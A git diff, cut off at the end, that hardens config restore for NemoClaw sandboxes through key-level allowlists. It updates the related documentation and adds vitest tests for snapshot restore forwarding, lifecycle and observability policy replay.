diff --git a/agents/langchain-deepagents-code/manifest.yaml b/agents/langchain-deepagents-code/manifest.yaml index b7914991ca..d6a2d1cf91 100644 --- a/agents/langchain-deepagents-code/manifest.yaml +++ b/agents/langchain-deepagents-code/manifest.yaml @@ -48,12 +48,11 @@ state_dirs: # ── Top-level durable state files ─────────────────────────────── # config.toml mixes DCode preferences with NemoClaw-managed model routing. -# Managed re-onboard restore carries forward only boolean ui.show_scrollbar, -# ui.show_url_open_toast, and threads.relative_time preferences, plus -# threads.sort_order when it is updated_at or created_at. Fresh models/update -# tables and provider metadata remain authoritative. All other backup keys, -# including ui.theme and behavior-bearing, unknown, or security-sensitive keys, -# are dropped. +# Ownership is split into three explicit buckets. Users own only the allowlisted +# ui.show_scrollbar, ui.show_url_open_toast, threads.relative_time, and +# threads.sort_order preferences below. NemoClaw owns the fresh models/update +# tables and generated provider headers. Agent-runtime, unknown, executable, and +# security-sensitive backup keys are not restorable and are dropped. # .env and user-authored .deepagents/.mcp.json content are intentionally omitted # because they may contain service credentials. NemoClaw writes only direct-HTTP # bridge endpoint config and OpenShell placeholders to its separate @@ -62,6 +61,29 @@ state_dirs: # not user-authored durable state. state_files: - path: config.toml + restore: + merge: key-allowlist + require_fresh_tables: + - models + - update + # Checked positionally: the first N leading '#' lines (N = entries below) + # must match. Further leading comments are safety-checked and preserved. + require_fresh_headers: + - "# Generated by NemoClaw. This file contains no provider secrets." + - match: prefix + value: "# NemoClaw provider route: " + user_keys: + - key: ui.show_scrollbar + type: boolean + - key: ui.show_url_open_toast + type: boolean + - key: threads.relative_time + type: boolean + - key: threads.sort_order + type: enum + values: + - updated_at + - created_at user_managed_files: - .deepagents/.env - .deepagents/.mcp.json diff --git a/agents/openclaw/manifest.yaml b/agents/openclaw/manifest.yaml index efde365815..6eed68a8ab 100644 --- a/agents/openclaw/manifest.yaml +++ b/agents/openclaw/manifest.yaml @@ -68,6 +68,8 @@ state_dirs: # credentials. state_files: - path: openclaw.json + restore: + merge: openclaw-config user_managed_files: - .env - .mcp.json diff --git a/docs/manage-sandboxes/backup-restore.mdx b/docs/manage-sandboxes/backup-restore.mdx index 71b3ccd346..8e0589652c 100644 --- a/docs/manage-sandboxes/backup-restore.mdx +++ b/docs/manage-sandboxes/backup-restore.mdx @@ -61,6 +61,10 @@ The Hermes database can contain session metadata and message history needed for Snapshots also preserve sandbox registry metadata that affects rebuild behavior, including custom policy presets applied with `policy-add --from-file` or `policy-add --from-dir`. When you restore a snapshot, NemoClaw replays those recorded custom presets with their stored YAML content, so you do not need the original preset files on disk for the restored sandbox to keep the same policy state. +The target sandbox's current agent manifest remains authoritative for state-file restore behavior. +NemoClaw rejects the restore when the snapshot's agent, config directory, state-file path, or state-file strategy conflicts with that manifest. +For managed images, NemoClaw applies the current manifest's managed config merge rules by default and does not fall back to whole-file replacement. +For Deep Agents targets, whole-file config replacement is limited to sandboxes created from a custom Dockerfile. ```bash $$nemoclaw my-assistant snapshot create @@ -126,7 +130,11 @@ NemoClaw rejects unsafe symlinks and hard links inside sandbox state during back Credential-bearing Deep Agents files such as `.deepagents/.env` and user-authored `.deepagents/.mcp.json` are intentionally excluded from snapshots. Deep Agents auth state files such as `.deepagents/.state/auth.json` and `.deepagents/.state/chatgpt-auth.json` are also excluded because the managed launcher refuses to start when upstream credential state is present. The managed `.deepagents/.nemoclaw-mcp.json` projection and `hooks.json` are also excluded because NemoClaw reconstructs managed MCP state and disables executable Deep Agents Code hooks in the managed harness. -NemoClaw recreates generated `config.toml`, managed MCP projection state, and provider credentials from host-side onboarding and OpenShell provider state during rebuild. +NemoClaw recreates the current inference route headers, `models` and `update` tables, managed MCP projection state, and provider credentials from host-side onboarding and OpenShell provider state during rebuild. +For a NemoClaw-managed Deep Agents image, it restores only the allowlisted `ui.show_scrollbar`, `ui.show_url_open_toast`, `threads.relative_time`, and `threads.sort_order` preferences from the previous `config.toml` when their values pass validation. +Unknown, runtime-controlled, executable, and security-sensitive backup keys are dropped instead of replacing freshly generated settings on that managed path. +A Deep Agents target created from a custom Dockerfile restores `config.toml` as a whole file because the custom image owns its config schema, so review that backup before restoring it. +On the managed key-level restore path, if either config is malformed, required managed data is missing, or the restore detects an unsafe link or file replacement, NemoClaw marks the restore as failed and does not fall back to copying the backed-up file wholesale. Before a Deep Agents rebuild changes the sandbox, NemoClaw verifies the recorded inference route, provider, model, reasoning settings, web search selection, base image, and policy inputs. If a late check fails, NemoClaw restores the previous MCP state and keeps the existing sandbox intact. diff --git a/docs/manage-sandboxes/workspace-files.mdx b/docs/manage-sandboxes/workspace-files.mdx index 3bcccdf21b..a8bc06c666 100644 --- a/docs/manage-sandboxes/workspace-files.mdx +++ b/docs/manage-sandboxes/workspace-files.mdx @@ -192,7 +192,13 @@ The Deep Agents manifest declares these durable directories: /sandbox/.deepagents/agent/skills/ ``` -It also declares `/sandbox/.deepagents/config.toml` as a durable top-level state file because the file contains non-secret NemoClaw-generated provider and model configuration. +It also declares `/sandbox/.deepagents/config.toml` as a durable top-level state file with key-level ownership. +The target sandbox's current Deep Agents manifest defines this ownership policy, so a snapshot cannot weaken it. +NemoClaw keeps the newly generated inference route headers and the `models` and `update` tables authoritative during rebuild. +On a NemoClaw-managed image, only the allowlisted `ui.show_scrollbar`, `ui.show_url_open_toast`, `threads.relative_time`, and `threads.sort_order` preferences can be restored from the previous file. +Runtime-controlled, unknown, executable, and security-sensitive backup keys are dropped on that managed path. +A Deep Agents target created from a custom Dockerfile restores `config.toml` as a whole file because the custom image owns its config schema. +On the managed key-level restore path, if config validation or safe atomic replacement fails, NemoClaw marks the restore as failed instead of falling back to a whole-file copy. Credential-bearing files such as `.deepagents/.env` and user-authored `.deepagents/.mcp.json` are intentionally omitted from snapshots. Managed MCP state is rebuilt from the host-side NemoClaw registry and OpenShell provider state instead of treated as user-authored durable state. Memory files such as `/sandbox/.deepagents/agent/AGENTS.md` and `/sandbox/.deepagents/agent/memories/` are upstream Deep Agents Code files. @@ -204,7 +210,7 @@ Back up important Deep Agents state before destroying the sandbox. ## Editing State Prefer NemoClaw host commands for generated configuration such as model, provider, managed MCP, and policy settings. -Direct edits to `/sandbox/.deepagents/config.toml` can be overwritten by rebuilds because NemoClaw owns the managed inference route. +Direct edits to NemoClaw-owned or non-allowlisted keys in `/sandbox/.deepagents/config.toml` can be overwritten by rebuilds. Use `$$nemoclaw connect` when you need to inspect runtime files interactively, or use `openshell sandbox download` and `openshell sandbox upload` for manual file transfer. Use Deep Agents Code commands for upstream-managed memories and skills. diff --git a/src/lib/actions/sandbox/rebuild-pipeline.ts b/src/lib/actions/sandbox/rebuild-pipeline.ts index 0dddcd7070..c3c2a87042 100644 --- a/src/lib/actions/sandbox/rebuild-pipeline.ts +++ b/src/lib/actions/sandbox/rebuild-pipeline.ts @@ -299,6 +299,8 @@ async function rebuildSandboxUnlocked( const restored = runRebuildRestorePhase({ sandboxName, + targetAgentType: rebuildAgent || "openclaw", + targetImageIsCustom: Boolean(fromDockerfile), backupManifest: backup.backupManifest, policyPresets: targetPolicyPresets, customPolicies: diff --git a/src/lib/actions/sandbox/rebuild-restore-forwarding.test.ts b/src/lib/actions/sandbox/rebuild-restore-forwarding.test.ts new file mode 100644 index 0000000000..baeef9340c --- /dev/null +++ b/src/lib/actions/sandbox/rebuild-restore-forwarding.test.ts @@ -0,0 +1,42 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, describe, expect, it, vi } from "vitest"; + +import * as sandboxState from "../../state/sandbox"; +import { runRebuildRestorePhase } from "./rebuild-restore-phase"; + +afterEach(() => { + vi.restoreAllMocks(); +}); + +describe("rebuild restore target forwarding", () => { + it("forwards the recreated target identity and explicit custom-image capability", () => { + vi.spyOn(console, "log").mockImplementation(() => undefined); + const restoreRecreatedSandboxState = vi + .spyOn(sandboxState, "restoreRecreatedSandboxState") + .mockReturnValue({ + success: true, + restoredDirs: [], + restoredFiles: [], + failedDirs: [], + failedFiles: [], + }); + + runRebuildRestorePhase({ + sandboxName: "alpha", + targetAgentType: "langchain-deepagents-code", + targetImageIsCustom: true, + backupManifest: { agentType: "openclaw", backupPath: "/tmp/rebuild-backup" } as never, + policyPresets: [], + customPolicies: [], + reconcileManagedDcodeObservability: false, + log: vi.fn(), + }); + + expect(restoreRecreatedSandboxState).toHaveBeenCalledWith("alpha", "/tmp/rebuild-backup", { + targetAgentType: "langchain-deepagents-code", + allowCustomImageWholeStateFileRestore: true, + }); + }); +}); diff --git a/src/lib/actions/sandbox/rebuild-restore-phase.test.ts b/src/lib/actions/sandbox/rebuild-restore-phase.test.ts index 471051cb86..dbde96ca34 100644 --- a/src/lib/actions/sandbox/rebuild-restore-phase.test.ts +++ b/src/lib/actions/sandbox/rebuild-restore-phase.test.ts @@ -15,6 +15,19 @@ import { runRebuildRestorePhase } from "./rebuild-restore-phase"; const BUILTIN_OBSERVABILITY_CONTENT = "network_policies:\n observability-otlp-local:\n name: observability-otlp-local\n"; +type StandardRestoreOptions = Omit< + Parameters[0], + "targetAgentType" | "targetImageIsCustom" +>; + +function runStandardRebuildRestorePhase(options: StandardRestoreOptions) { + return runRebuildRestorePhase({ + ...options, + targetAgentType: "openclaw", + targetImageIsCustom: false, + }); +} + describe("rebuild policy restore fidelity", () => { beforeEach(() => { vi.spyOn(policies, "loadPresetForSandbox").mockImplementation((_sandboxName, presetName) => @@ -40,7 +53,7 @@ describe("rebuild policy restore fidelity", () => { error: "could not read fresh OpenClaw plugin install registry", }); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: { agentType: "openclaw", backupPath: "/tmp/rebuild-backup" } as never, policyPresets: [], @@ -78,7 +91,7 @@ describe("rebuild policy restore fidelity", () => { content: `network_policies:\n ${name}-custom:\n name: ${name}-custom\n`, sourcePath: `/tmp/${name}.yaml`, })); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: { agentType: "openclaw", @@ -126,7 +139,7 @@ describe("rebuild policy restore fidelity", () => { sourcePath: "/tmp/custom-egress.yaml", }, ]; - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: [], @@ -159,7 +172,7 @@ describe("rebuild policy restore fidelity", () => { "network_policies:\n mcp-bridge-search:\n endpoints:\n - host: mcp.example.com\n allowed_ips: [203.0.113.10]\n", sourcePath: MCP_BRIDGE_POLICY_SOURCE, }; - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: [], @@ -188,7 +201,7 @@ describe("rebuild policy restore fidelity", () => { .mockReturnValueOnce("absent"); const removePreset = vi.spyOn(policies, "removePreset").mockReturnValue(true); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: ["npm"], @@ -213,7 +226,7 @@ describe("rebuild policy restore fidelity", () => { .mockReturnValueOnce(null); vi.spyOn(policies, "removePreset").mockReturnValue(true); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: ["npm"], @@ -243,7 +256,7 @@ describe("rebuild policy restore fidelity", () => { throw new Error("apply failed"); }); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: ["npm", "bad", "throw"], @@ -264,7 +277,7 @@ describe("rebuild policy restore fidelity", () => { vi.spyOn(console, "error").mockImplementation(() => undefined); vi.spyOn(policies, "applyPreset").mockReturnValue(true); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: ["observability-otlp-local"], @@ -285,7 +298,7 @@ describe("rebuild policy restore fidelity", () => { vi.spyOn(policies, "applyPreset").mockReturnValue(true); vi.spyOn(policies, "getPresetContentGatewayState").mockReturnValue(null); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: ["observability-otlp-local"], @@ -301,7 +314,7 @@ describe("rebuild policy restore fidelity", () => { it("does not remove or persist DCode base-policy keys detected as broad presets", () => { const removePreset = vi.spyOn(policies, "removePreset"); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: [], @@ -326,7 +339,7 @@ describe("rebuild policy restore fidelity", () => { sourcePath: "/tmp/operator-collector.yaml", }; - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: [], @@ -358,7 +371,7 @@ describe("rebuild policy restore fidelity", () => { sourcePath: "/tmp/corp-otel.yaml", }; - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: [], @@ -392,7 +405,7 @@ describe("rebuild policy restore fidelity", () => { .mockReturnValueOnce("absent"); const removePreset = vi.spyOn(policies, "removePreset").mockReturnValue(true); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: ["observability-otlp-local"], @@ -421,7 +434,7 @@ describe("rebuild policy restore fidelity", () => { .mockReturnValueOnce("absent"); const removePreset = vi.spyOn(policies, "removePreset").mockReturnValue(true); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: [], @@ -449,7 +462,7 @@ describe("rebuild policy restore fidelity", () => { vi.spyOn(policies, "getPresetContentGatewayState").mockReturnValue("drift"); const removePreset = vi.spyOn(policies, "removePreset"); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: [], @@ -476,7 +489,7 @@ describe("rebuild policy restore fidelity", () => { .mockReturnValueOnce(null); vi.spyOn(policies, "removePreset").mockReturnValue(true); - const result = runRebuildRestorePhase({ + const result = runStandardRebuildRestorePhase({ sandboxName: "alpha", backupManifest: null, policyPresets: ["observability-otlp-local"], diff --git a/src/lib/actions/sandbox/rebuild-restore-phase.ts b/src/lib/actions/sandbox/rebuild-restore-phase.ts index 1b80dbf720..809865a508 100644 --- a/src/lib/actions/sandbox/rebuild-restore-phase.ts +++ b/src/lib/actions/sandbox/rebuild-restore-phase.ts @@ -16,6 +16,8 @@ import type { RebuildSandboxEntry } from "./rebuild-flow-helpers"; export interface RebuildRestorePhaseInput { sandboxName: string; + targetAgentType: string; + targetImageIsCustom: boolean; backupManifest: RebuildBackupManifest; policyPresets: string[]; customPolicies: NonNullable; @@ -176,6 +178,8 @@ function reconcileFinalManagedObservability( export function runRebuildRestorePhase(input: RebuildRestorePhaseInput): RebuildRestorePhaseResult { const { sandboxName, + targetAgentType, + targetImageIsCustom, backupManifest, policyPresets, customPolicies, @@ -190,7 +194,10 @@ export function runRebuildRestorePhase(input: RebuildRestorePhaseInput): Rebuild const restore = sandboxState.restoreRecreatedSandboxState( sandboxName, backupManifest.backupPath, - { targetAgentType: backupManifest.agentType }, + { + targetAgentType, + ...(targetImageIsCustom ? { allowCustomImageWholeStateFileRestore: true } : {}), + }, ); log( `Restore result: success=${restore.success}, restored=${restore.restoredDirs.join(",")}; files=${restore.restoredFiles.join(",")}, failed=${restore.failedDirs.join(",")}; failedFiles=${restore.failedFiles.join(",")}${restore.error ? `; error=${restore.error}` : ""}`, diff --git a/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts b/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts index 1bdc602cee..b9d6692b7b 100644 --- a/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts +++ b/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts @@ -48,7 +48,10 @@ vi.mock("../../inference/nim", () => ({ stopNimContainer: vi.fn(), stopNimContainerByName: vi.fn(), })); -vi.mock("../../messaging/channels", () => ({ listMessagingProviderSuffixes: vi.fn(() => []) })); +vi.mock("../../messaging/channels", () => ({ + listMessagingProviderSuffixes: vi.fn(() => []), + listMessagingCredentialMetadata: vi.fn(() => []), +})); vi.mock("../../policy", () => ({ applyPreset: vi.fn(() => true), applyPresetContent: vi.fn(() => true), diff --git a/src/lib/actions/sandbox/snapshot-restore-lifecycle.test.ts b/src/lib/actions/sandbox/snapshot-restore-lifecycle.test.ts new file mode 100644 index 0000000000..ff244e01b8 --- /dev/null +++ b/src/lib/actions/sandbox/snapshot-restore-lifecycle.test.ts @@ -0,0 +1,190 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import * as f from "./snapshot-restore-test-fixture"; + +beforeEach(f.resetSnapshotRestoreMocks); +afterEach(f.cleanupSnapshotRestoreMocks); +describe("runSandboxSnapshot restore: lifecycle and destination safety", () => { + it("restores the latest snapshot into the source sandbox", async () => { + const consoleLog = vi.spyOn(console, "log").mockImplementation(() => {}); + f.getLatestBackupMock.mockReturnValue({ + snapshotVersion: 4, + name: "stable", + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + }); + f.restoreSandboxStateMock.mockReturnValue({ + success: true, + restoredDirs: ["workspace"], + restoredFiles: ["user.md"], + failedDirs: [], + failedFiles: [], + }); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.restoreSandboxStateMock).toHaveBeenCalledWith("alpha", "/tmp/backup-alpha"); + const output = consoleLog.mock.calls.flat().join("\n"); + expect(output).toContain("Using latest snapshot v4 name=stable"); + expect(output).toContain("Restoring snapshot into 'alpha'"); + expect(output).toContain("Restored 1 directories, 1 files"); + }); + + it("delegates managed and custom-image snapshot restores to the state layer", async () => { + f.getLatestBackupMock.mockReturnValue({ + snapshotVersion: 4, + name: "stable", + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + }); + const { runSandboxSnapshot } = await import("./snapshot"); + + f.getSandboxMock.mockReturnValue({ name: "alpha", agent: "langchain-deepagents-code" }); + await runSandboxSnapshot("alpha", { kind: "restore" }); + expect(f.restoreSandboxStateMock).toHaveBeenCalledWith("alpha", "/tmp/backup-alpha"); + + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + fromDockerfile: "/tmp/Dockerfile", + }); + await runSandboxSnapshot("alpha", { kind: "restore" }); + expect(f.restoreSandboxStateMock).toHaveBeenCalledWith("alpha", "/tmp/backup-alpha"); + expect(f.restoreSandboxStateMock).toHaveBeenCalledTimes(2); + }); + + it("keeps active-timer restore, permission repair, and policy reconciliation serialized", async () => { + f.lifecycleMock.readTimerMarkerMock.mockReturnValue({ + pid: 4242, + sandboxName: "alpha", + snapshotPath: "/tmp/policy.yaml", + restoreAt: "2026-06-27T06:00:00.000Z", + processToken: "a".repeat(32), + }); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: ["github"], + }); + f.restoreSandboxStateMock.mockReturnValue({ + success: true, + restoredDirs: ["workspace"], + restoredFiles: ["openclaw.json"], + failedDirs: [], + failedFiles: [], + }); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.lifecycleMock.events).toContain("lock:restore sandbox snapshot"); + expect(f.restoreSandboxStateMock).toHaveBeenCalledWith("alpha", "/tmp/backup-alpha"); + expect(f.shieldsMock.repairMutableConfigPermsMock).toHaveBeenCalledWith("alpha"); + expect(f.applyPresetMock).toHaveBeenCalledWith("alpha", "github"); + }); + + it("hardens an active timer window before force-deleting a restore destination", async () => { + f.lifecycleMock.readTimerMarkerMock.mockReturnValue({ + pid: 4242, + sandboxName: "beta", + snapshotPath: "/tmp/policy.yaml", + restoreAt: "2026-06-27T06:00:00.000Z", + processToken: "b".repeat(32), + }); + f.getSandboxMock.mockImplementation((name) => + name === "alpha" + ? { + name: "alpha", + agent: "openclaw", + imageTag: "nemoclaw-alpha:test", + openshellDriver: "docker", + provider: "nvidia-nim", + model: "nvidia/model-a", + } + : { + name: "beta", + agent: "openclaw", + imageTag: "nemoclaw-beta:test", + openshellDriver: "docker", + provider: "nvidia-nim", + model: "nvidia/model-a", + }, + ); + f.parseLiveSandboxNamesMock.mockReturnValue(new Set(["alpha", "beta"])); + f.captureOpenshellMock.mockImplementation((args) => + f.openshellResponses(args, { + "sandbox exec": { status: 0, output: f.dcodeProbeOutput("no-runtime") }, + "sandbox list": { status: 0, output: "alpha Ready\nbeta Ready\n" }, + }), + ); + f.getLatestBackupMock.mockReturnValue({ ...f.latestBackupFixture }); + f.restoreSandboxStateMock.mockReturnValue({ + success: true, + restoredDirs: ["workspace"], + restoredFiles: ["user.md"], + failedDirs: [], + failedFiles: [], + }); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { + kind: "restore", + to: "beta", + force: true, + yes: true, + }); + + expect(f.shieldsMock.shieldsUpMock).toHaveBeenCalledWith("beta", { + throwOnError: true, + allowLegacyHermesProtocol: true, + }); + expect(f.lifecycleMock.events.indexOf("harden")).toBeLessThan( + f.lifecycleMock.events.indexOf("delete"), + ); + expect(f.lifecycleMock.events.indexOf("delete")).toBeLessThan( + f.lifecycleMock.events.indexOf("cleanup-shields"), + ); + expect(f.streamSandboxCreateMock).toHaveBeenCalled(); + expect(f.restoreSandboxStateMock).toHaveBeenCalledWith("beta", "/tmp/backup-alpha"); + }); + + it("blocks auto-create before deleting a destination when a gateway peer conflicts", async () => { + const consoleError = vi.spyOn(console, "error").mockImplementation(() => {}); + f.getSandboxMock.mockImplementation((name) => ({ + name: name ?? "alpha", + agent: "openclaw", + gatewayName: "nemoclaw", + imageTag: `nemoclaw-${name}:test`, + openshellDriver: "docker", + provider: name === "gamma" ? "anthropic-prod" : "nvidia-nim", + model: name === "gamma" ? "claude-new" : "nvidia/model-a", + })); + f.parseLiveSandboxNamesMock.mockReturnValue(new Set(["alpha", "beta"])); + f.captureOpenshellMock.mockImplementation((args) => + f.openshellResponses(args, { + "sandbox exec": { status: 0, output: f.dcodeProbeOutput("no-runtime") }, + "sandbox list": { status: 0, output: "alpha Ready\nbeta Ready\n" }, + }), + ); + f.getLatestBackupMock.mockReturnValue({ ...f.latestBackupFixture }); + const { runSandboxSnapshot } = await import("./snapshot"); + + await expect( + runSandboxSnapshot("alpha", { + kind: "restore", + to: "beta", + force: true, + yes: true, + }), + ).rejects.toMatchObject({ exitCode: 1 }); + + expect(consoleError.mock.calls.flat().join("\n")).toContain("gamma"); + expect(f.lifecycleMock.events).not.toContain("delete"); + expect(f.streamSandboxCreateMock).not.toHaveBeenCalled(); + expect(f.registerSandboxMock).not.toHaveBeenCalled(); + }); +}); diff --git a/src/lib/actions/sandbox/snapshot-restore-observability-policy.test.ts b/src/lib/actions/sandbox/snapshot-restore-observability-policy.test.ts new file mode 100644 index 0000000000..08aa8e6005 --- /dev/null +++ b/src/lib/actions/sandbox/snapshot-restore-observability-policy.test.ts @@ -0,0 +1,169 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import * as f from "./snapshot-restore-test-fixture"; + +beforeEach(f.resetSnapshotRestoreMocks); +afterEach(f.cleanupSnapshotRestoreMocks); +describe("runSandboxSnapshot restore: observability policy replay", () => { + it.each([ + { enabled: true, expectedValue: "1" }, + { enabled: false, expectedValue: "0" }, + ])("starts a snapshot clone with the authoritative source observability state when enabled=$enabled", async ({ + enabled, + expectedValue, + }) => { + let registeredClone: f.SandboxRecord | null = null; + f.registerSandboxMock.mockImplementation( + (entry) => (registeredClone = entry as f.SandboxRecord), + ); + vi.stubEnv("NEMOCLAW_OBSERVABILITY", "1"); + f.getSandboxMock.mockImplementation((name) => + name === "alpha" + ? { + name: "alpha", + agent: "langchain-deepagents-code", + imageTag: "nemoclaw-alpha:test", + openshellDriver: "docker", + observabilityEnabled: enabled, + provider: "nvidia-nim", + model: "nvidia/model-a", + } + : registeredClone, + ); + f.captureOpenshellMock.mockImplementation((args) => + f.openshellResponses(args, { + "sandbox exec": { status: 0, output: f.dcodeProbeOutput("idle") }, + "sandbox list": { status: 0, output: "alpha Ready\nbeta Ready\n" }, + }), + ); + f.parseLiveSandboxNamesMock.mockReturnValue(new Set(["alpha"])); + f.getLatestBackupMock.mockReturnValue({ ...f.latestBackupFixture }); + const { runSandboxSnapshot } = await import("./snapshot"); + await runSandboxSnapshot("alpha", { kind: "restore", to: "beta" }); + const createCall = f.streamSandboxCreateMock.mock.calls[0] ?? []; + const createArgs = createCall[1] as readonly string[]; + const createEnv = createCall[2] as NodeJS.ProcessEnv | undefined; + expect(createCall[0]).toBe("openshell"); + expect(createArgs).toContain(`NEMOCLAW_OBSERVABILITY=${expectedValue}`); + expect(createEnv?.NEMOCLAW_OBSERVABILITY).toBeUndefined(); + expect(f.registerSandboxMock).toHaveBeenCalledWith( + expect.objectContaining({ + name: "beta", + observabilityEnabled: enabled, + }), + ); + expect(f.applyPresetMock).toHaveBeenCalledTimes(enabled ? 1 : 0); + }); + + it.each([ + { label: "recorded", policyPresets: ["npm"] }, + { label: "legacy", policyPresets: undefined }, + ])("adds built-in OTLP egress for a $label snapshot", async ({ policyPresets }) => { + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: true, + policyTier: "balanced", + } as never); + f.getLatestBackupMock.mockReturnValue({ ...f.latestBackupFixture, policyPresets }); + f.getAppliedPresetsMock.mockReturnValue(["npm"]); + const { runSandboxSnapshot } = await import("./snapshot"); + await runSandboxSnapshot("alpha", { kind: "restore" }); + expect(f.applyPresetMock).toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.removePresetMock).not.toHaveBeenCalled(); + }); + + it("removes historical built-in OTLP egress when observability was disabled after the snapshot", async () => { + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: ["npm", "observability-otlp-local"], + }); + f.getAppliedPresetsMock.mockReturnValue(["npm", "observability-otlp-local"]); + f.getPresetContentGatewayStateMock.mockReturnValueOnce("match").mockReturnValueOnce("absent"); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.removePresetMock).toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.applyPresetMock).not.toHaveBeenCalledWith("alpha", "observability-otlp-local"); + }); + + it("removes an exact unrecorded built-in OTLP policy when observability is disabled", async () => { + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + policies: [], + } as never); + f.getLatestBackupMock.mockReturnValue({ ...f.latestBackupFixture, policyPresets: [] }); + f.getAppliedPresetsMock.mockReturnValue([]); + f.getPresetContentGatewayStateMock.mockReturnValueOnce("match").mockReturnValueOnce("absent"); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.getPresetContentGatewayStateMock).toHaveBeenCalledWith( + "alpha", + f.builtinObservabilityPolicy, + ); + expect(f.removePresetMock).toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.updateSandboxMock).not.toHaveBeenCalled(); + }); + + it.each([ + { + label: "returns false", + configureRemoval: () => f.removePresetMock.mockReturnValue(false), + }, + { + label: "throws", + configureRemoval: () => + f.removePresetMock.mockImplementation(() => { + throw new Error("remove exploded"); + }), + }, + { + label: "claims success without removing", + configureRemoval: () => f.removePresetMock.mockReturnValue(true), + }, + ])("retains built-in OTLP attribution when removal $label", async ({ configureRemoval }) => { + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + policies: [], + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: [], + }); + f.getAppliedPresetsMock.mockReturnValue([]); + f.getPresetContentGatewayStateMock.mockReturnValue("match"); + configureRemoval(); + const consoleWarn = vi.spyOn(console, "warn").mockImplementation(() => {}); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.getPresetContentGatewayStateMock).toHaveBeenCalledTimes(2); + expect(f.updateSandboxMock).toHaveBeenCalledWith("alpha", { + policies: ["observability-otlp-local"], + }); + expect(consoleWarn.mock.calls.flat().join("\n")).toContain( + "exact content still live after remove", + ); + }); +}); diff --git a/src/lib/actions/sandbox/snapshot-restore-observability-reconciliation.test.ts b/src/lib/actions/sandbox/snapshot-restore-observability-reconciliation.test.ts new file mode 100644 index 0000000000..be0e810023 --- /dev/null +++ b/src/lib/actions/sandbox/snapshot-restore-observability-reconciliation.test.ts @@ -0,0 +1,293 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import * as f from 